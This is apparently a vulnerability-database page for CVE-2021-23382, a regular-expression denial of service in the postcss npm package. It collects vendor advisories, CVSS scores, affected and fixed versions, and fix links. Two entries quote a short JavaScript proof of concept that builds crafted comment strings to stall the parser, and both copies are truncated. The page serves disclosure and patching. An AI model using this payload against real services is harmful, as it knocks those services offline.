CVE-2021-23382
published 2021-04-26CVE-2021-23382: The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in…
PriorityP335high7.5CVSS 3.1
AVNACLPRNUINSUCNINAH
EPSS
2.51%
83.2th percentile
The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | node-postcss | < node-postcss 8.2.1+~cs5.3.23-7 (bookworm) | node-postcss 8.2.1+~cs5.3.23-7 (bookworm) |
| postcss | postcss | < 7.0.36 | 7.0.36 |
| postcss | postcss | >= 0 < 7.0.36 | 7.0.36 |
| postcss | postcss | >= 8.0.0 < 8.2.13 | 8.2.13 |
| postcss | postcss | >= 8.0.0 < 8.2.13 | 8.2.13 |
| postcss | postcss | >= unspecified < 8.2.13 | 8.2.13 |
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:N/I:N/A:P
osv7.5HIGH
vendor_debian5.3MEDIUM
vendor_redhat5.3MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
nodejs-postcss: ReDoS via getAnnotationURL() and loadAnnotation() in lib/previous-map.js
vendor_redhat·2021-04-26·CVSS 5.3
CVE-2021-23382 [MEDIUM] CWE-400 nodejs-postcss: ReDoS via getAnnotationURL() and loadAnnotation() in lib/previous-map.js
nodejs-postcss: ReDoS via getAnnotationURL() and loadAnnotation() in lib/previous-map.js
The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).
A regular expression denial of service (ReDoS) vulnerability was found in the npm library `postcss` when using getAnnotationURL() or loadAnnotation() options in lib/previous-map.js. An attacker can use this vulnerability to potentially craft a malicious CSS to process resulting in a denial of service.
Statement: In Red Hat OpenShift Container Platform (RHOCP), OpenShift ServiceMesh (OSSM) and Red Hat Advanced Cluster Management for Kubernetes (RHAC
Debian
CVE-2021-23382: node-postcss - The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of...
vendor_debian·2021·CVSS 5.3
CVE-2021-23382 [MEDIUM] CVE-2021-23382: node-postcss - The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of...
The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).
Scope: local
bookworm: resolved (fixed in 8.2.1+~cs5.3.23-7)
bullseye: resolved (fixed in 8.2.1+~cs5.3.23-7)
forky: resolved (fixed in 8.2.1+~cs5.3.23-7)
sid: resolved (fixed in 8.2.1+~cs5.3.23-7)
trixie: resolved (fixed in 8.2.1+~cs5.3.23-7)
GHSA
Regular Expression Denial of Service in postcss
ghsa·2022-01-07
CVE-2021-23382 [MEDIUM] CWE-400 Regular Expression Denial of Service in postcss
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
```regex
\/\*\s* sourceMappingURL=(.*)
```
### PoC
```js
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
```
```js
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.leng
OSV
Regular Expression Denial of Service in postcss
osv·2022-01-07
CVE-2021-23382 [MEDIUM] Regular Expression Denial of Service in postcss
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
```regex
\/\*\s* sourceMappingURL=(.*)
```
### PoC
```js
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
```
```js
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.leng
OSV
CVE-2021-23382: The package postcss before 8
osv·2021-04-26·CVSS 7.5
CVE-2021-23382 [HIGH] CVE-2021-23382: The package postcss before 8
The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).
No detection rules found.
No public exploits indexed.
https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
2021-04-26
Published